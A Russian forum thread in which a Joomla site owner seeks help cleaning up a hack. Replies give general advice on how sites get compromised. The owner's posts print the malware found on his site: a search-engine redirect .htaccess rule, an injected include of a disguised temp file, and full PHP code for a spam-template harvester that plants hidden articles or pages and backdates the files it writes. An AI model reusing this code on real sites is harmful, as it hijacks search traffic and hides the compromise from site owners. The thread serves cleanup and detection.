Правила     Закладки     Карма    Календарь    Журналы    Помощь    Поиск    PDA    Чат   
        СМС-ки
   
Пейджер выключен!
Страницы: (2) [1] 2  ( Перейти к первому непрочитанному сообщению )  
Фильтр авторов:    показать 
  скрыть
  Ответ в темуСоздание новой темыСоздание опроса

> Взломали сайт. Помогите разобраться в логах., Не могу понять куда идет обращение.
Денис Про  
 ۩  Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Новичок
*

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 43415
На форуме: 2 месяца, 9 дней
Карма:




Взломали сайт на joomle, обновы все стоят. Сайт в результатах поиска google есть и ссылка правильная, но при переходе по ней попадаю рандомно на сайты с гнухой. По мимо кучи php файлов, как я понимаю бэкдоров, есть еще такая особенность в папках создается файл .htaccess с содержимым:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^.*$ index.php [L]
</IfModule>
а также index.php:
<?php error_reporting(0);ini_set("display_errors", 0);include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?><?php error_reporting(0);ini_set("display_errors", 0);include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?>

Также в материалах периодически появляются пустой материалы с названием типа (yourfuckingtemplate834343), которые не отображается на видимой части сайта.

Я почистил вредные файлы, ориентировался на логи сервера. Добавил диапазоны ip с которых бомбили в черный список.

Помогите разобраться куда идет обращение, куда передается этот параметр в какой файл, вот лог:
194.226.35.164 - - [24/Sep/2016:06:29:26 +0300] "POST /?simpler-ws HTTP/1.0" 200 25
66.249.76.64 - - [24/Sep/2016:19:25:37 +0300] "GET /?view=g3abnuha6o HTTP/1.0" 403 403
Где искать эту заразу?


PMПисьмо на e-mail пользователю
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
FatCat  
Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Чеширский кот
******

Профиль
Журнал
Группа: Администратор
Почтальон группы
Сообщений: 5903
Пользователь №: 1
На форуме: 10 лет, 9 месяцев, 24 дня
Карма: 125

Не пью :
22 года, 2 месяца, 27 дней


Меняй пароль ФТП-доступа, потом вычищай еще раз.


--------------------
Бесплатному сыру в дырки не заглядывают...
PMПисьмо на e-mail пользователюICQ
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
Денис Про  
 ۩  Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Новичок
*

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 43415
На форуме: 2 месяца, 9 дней
Карма:




Ftp отключен.
Пароли базы, админки, хостинга поменяны. Как это г... получает доступ?
PMПисьмо на e-mail пользователю
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
FatCat  
Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Чеширский кот
******

Профиль
Журнал
Группа: Администратор
Почтальон группы
Сообщений: 5903
Пользователь №: 1
На форуме: 10 лет, 9 месяцев, 24 дня
Карма: 125

Не пью :
22 года, 2 месяца, 27 дней


Цитата (Денис Про @ 25.09.2016 - 08:32)
Как это г... получает доступ?

Есть 3 распространенных способа взлома. Самый частый - угон пароля доступа к ФТП или как еще ты загружаешь файлы на хостинг. Второй - через дыры в скриптах загружается свой пхп-файл. Самый редкий - через ошибки в распределении прав доступа хостером.


--------------------
Бесплатному сыру в дырки не заглядывают...
PMПисьмо на e-mail пользователюICQ
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
Денис Про  
 ۩  Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Новичок
*

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 43415
На форуме: 2 месяца, 9 дней
Карма:




Думаю, что второй вариант. я так думаю надо скачать joomle мою версию и кропотливо сравнивать код. И все таки, что значит POST /?simpler-ws. Если дописать к адресу сайта /?simpler-ws, то формируется страница с полем пароль и кнопкой ">>".
PMПисьмо на e-mail пользователю
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
FatCat  
Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Чеширский кот
******

Профиль
Журнал
Группа: Администратор
Почтальон группы
Сообщений: 5903
Пользователь №: 1
На форуме: 10 лет, 9 месяцев, 24 дня
Карма: 125

Не пью :
22 года, 2 месяца, 27 дней


Это бекдор.
Надо смотреть в файлах где обрабатывается входящая переменная $_GET['simpler-ws'] или $_POST['simpler-ws'].


--------------------
Бесплатному сыру в дырки не заглядывают...
PMПисьмо на e-mail пользователюICQ
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
Денис Про  
 ۩  Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Новичок
*

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 43415
На форуме: 2 месяца, 9 дней
Карма:




то есть этот файл может быть где угодно?
PMПисьмо на e-mail пользователю
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
Денис Про  
 ۩  Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Новичок
*

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 43415
На форуме: 2 месяца, 9 дней
Карма:




смотреть не получится файлы с бекдором шифрованные.
PMПисьмо на e-mail пользователю
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
arshavir  
Дата
Цитировать сообщение


Гость пожелал остаться неизвестным

Unregistered









Ну, что нашли как решить эту проблему? у меня тоже самое, плохо тем что заражает все папки на хостинге, то есть множество сайтов.
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
Денис Про  
 ۩  Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Новичок
*

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 43415
На форуме: 2 месяца, 9 дней
Карма:




Да решил. Основной код заразы был дописан в файл framework.php. Сейчас все гуд.
PMПисьмо на e-mail пользователю
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
Макс  
Дата
Цитировать сообщение


Гость пожелал остаться неизвестным

Unregistered









а кусок кода заразы для поиска по файлам можно?
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
Гость_Stas  
Дата
Цитировать сообщение


Гость пожелал остаться неизвестным

Unregistered









Цитата (Денис Про @ 5.10.2016 - 23:18)
Да решил. Основной код заразы был дописан в файл framework.php. Сейчас все гуд.

У меня точно такая ошибка только на modx.
Сможешь сам код скинуть который нашел в файле framework.php.
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
Денис Про  
 ۩  [x] Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Новичок
*

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 43415
На форуме: 2 месяца, 9 дней
Карма:




if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);

$context = stream_context_create(array(
'http' => array('ignore_errors' => true),
));


$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context);
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context);
}
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context);
}
if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) )
{
$tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl);
$tpl = preg_replace('#<link[^>]+?alternate[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?archives[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?bookmark[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?external[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?first[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?help[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?last[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?license[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?next[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?nofollow[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?noreferrer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?pingback[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?prefetch[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?prev[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?search[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?sidebar[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?up[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?canonical[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?robots[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?charset[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?content-type[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?og:[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?viewport[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?keywords[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?description[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?google[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?yandex[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?bing[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?slurp[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?refresh[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?referer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<script.+?script>#is', '', $tpl);
$tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl);
$tpl = preg_replace('#<title[^>]*>[^<]*?</title>#is', '<title>[TITLE]</title>', $tpl);
$tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl);
$tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl);
$tpl = preg_replace('#<p>\[CONTENT\]</p>#is', '[CONTENT]', $tpl);

$new_tags = '
<link rel="canonical" href="[PAGE_URL]" />
<link rel="prev" href="[RAND_URL_PREV]" />
<link rel="next" href="[RAND_URL_NEXT]" />
<meta property="og:title" content="[TITLE]" />
<meta property="og:type" content="article" />
<meta property="og:site_name" content="[COMMON]" />
<meta property="og:url" content="[PAGE_URL]" />
<meta property="og:locale" content="en_US" />
<meta name="description" property="og:description" content="[DESCRIPTION]" />
<meta name="keywords" content="[KEYWORDS]" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes" />
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
'
;

$tpl = preg_replace('#</head>#is', $new_tags.'</head>', $tpl);
}

$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
$tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd";

if (!empty($tpl) && file_put_contents($tpl_path, $tpl))
{
echo 'Success!';
} else
{
echo 'failed';
}
touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
exit;
}

if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);

$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
if (is_dir($root_path.'/libraries/joomla/application/'))
{
$alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000);
$database = JFactory::getDBO();
$item = new stdClass;
$item->id = null;
$item->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$item->introtext = '';
$item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000);
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = '2011-11-11 11:11:11';
$item->publish_up = '2011-11-11 11:11:11';
$item->alias = $alias;
if (!$database->insertObject('#__content', $item, 'id')) {
echo $database->stderr();
}
$url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id;
$data = file_get_contents($url);
$data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data);
$data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11.11.2011#is', '[DATE]', $data);
$data = preg_replace('#2011-11-11#is', '[DATE]', $data);
$data = preg_replace('#2011.11.11#is', '[DATE]', $data);

echo $data;
exit;
}

if (is_dir($root_path.'/wp-admin/includes/'))
{
if (!class_exists('THEVirtualPage'))
{
class THEVirtualPage
{
private $slug = NULL;
private $title = NULL;
private $content = NULL;
private $author = NULL;
private $date = NULL;
private $type = NULL;

public function __construct($args)
{

$this->slug = 'slug';
$this->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$this->content = 'thefuckingcontent'.mt_rand(1, 10000000000);
$this->author = 1;
$this->date = current_time('mysql');
$this->dategmt = current_time('mysql', 1);
$this->type = 'page';

add_filter('the_posts', array(&$this, '_virtualPage'));
}

// filter to create virtual page content
public function _virtualPage($posts)
{
global $wp, $wp_query;


//create a fake post intance
$post = new stdClass;
// fill properties of $post with everything a page in the database would have
$post->ID = "-1"; // use an illegal value for page ID
$post->post_author = $this->author; // post author id
$post->post_date = $this->date; // date of post
$post->post_date_gmt = $this->dategmt;
$post->post_content = $this->content;
$post->post_title = $this->title;
$post->post_excerpt = '';
$post->post_status = 'publish';
$post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist
$post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist
$post->post_password = ''; // no password
$post->post_name = $this->slug;
$post->to_ping = '';
$post->pinged = '';
$post->modified = $post->post_date;
$post->modified_gmt = $post->post_date_gmt;
$post->post_content_filtered = '';
$post->post_parent = 0;
$post->guid = get_home_url('/' . $this->slug);
$post->menu_order = 0;
$post->post_type = $this->type;
$post->post_mime_type = '';
$post->comment_count = 0;

// set filter results
$posts = array($post);

// reset wp_query properties to simulate a found page
$wp_query->is_page = TRUE;
$wp_query->is_singular = TRUE;
$wp_query->is_home = FALSE;
$wp_query->is_archive = FALSE;
$wp_query->is_category = FALSE;
unset($wp_query->query['error']);
$wp_query->query_vars['error'] = '';
$wp_query->is_404 = FALSE;

return ($posts);
}
}
}


function _create_virtual()
{
$args = array('slug' => 'slug',
'title' => '',
'content' => ''
);
$pg = new THEVirtualPage($args);
}

function change_wp_44_title( $title )
{
global $data;

$title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000);
$title['page'] = '';
$title['tagline'] = '';
$title['site'] = '';
return $title;
}
function change_wp_40_title( $title )
{
return 'thefuckingtitle'.mt_rand(1, 10000000000);
}

function _change_page_url( )
{
return '[PAGE_URL]';
}
add_filter( 'the_permalink', '_change_page_url');

add_action('init', '_create_virtual');
add_filter( 'document_title_parts', 'change_wp_44_title' );
add_filter( 'wp_title', 'change_wp_40_title' );
}
}
PMПисьмо на e-mail пользователю
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
object_world  
Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Новичок
*

Профиль
Группа: Пользователь
Сообщений: 1
Пользователь №: 43505
На форуме: 1 месяц, 14 дней
Карма:




Если взял хостинг на сайт. мне должны выделить ip под домен? пингую свой сайт ip записал. задаю в адресной строке выдается страница ошибки хостинга. ip вообще к другому сайту привязан 77.222.62.237 http://abngroup.temp.swtest.ru/payment/ . Сайт очень быстро открывается как они сделали это.
пингую
$ ping spb-lights.ru
PING spb-lights.ru (77.222.62.237) 56(84) bytes of data.
64 bytes from spb (77.222.62.237): icmp_req=1 ttl=58 time=1.65 ms
64 bytes from spb (77.222.62.237): icmp_req=2 ttl=58 time=1.57 ms

Братки проверьте сайт http://spb-lights.ru выставите скриншот

Это сообщение отредактировал object_world - 19.10.2016 - 18:59
PMПисьмо на e-mail пользователю
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
arbuzmaster  
Дата
Цитировать сообщение

Пользователя сейчас нет на форуме



Новичок
******

Профиль
Группа: Форумчанин
Завсегдатай форума
Сообщений: 720
Пользователь №: 37872
На форуме: 3 года, 4 месяца, 8 дней
Карма: 21




на одном ip может быть много сайтов. Обычно статический ip выдают в виртуальных серверах.


--------------------
PMПисьмо на e-mail пользователюСайт пользователя
    0   Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
  Быстрый ответ
Информация о Госте
Введите Ваше имя
Кнопки кодов
Для вставки цитаты, выделите нужный текст и
НАЖМИТЕ СЮДА
Введите сообщение
Смайлики
:huh:  :o  ;) 
:P  :D  :lol: 
B)  :rolleyes:  <_< 
:)  :angry:  :( 
:unsure:  :blink:  :ph34r: 
     
Показать всё

Опции сообщения  Включить смайлики?
 Включить подпись?
 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:

Опции темыСтраницы: (2) [1] 2  Ответ в темуСоздание новой темыСоздание опроса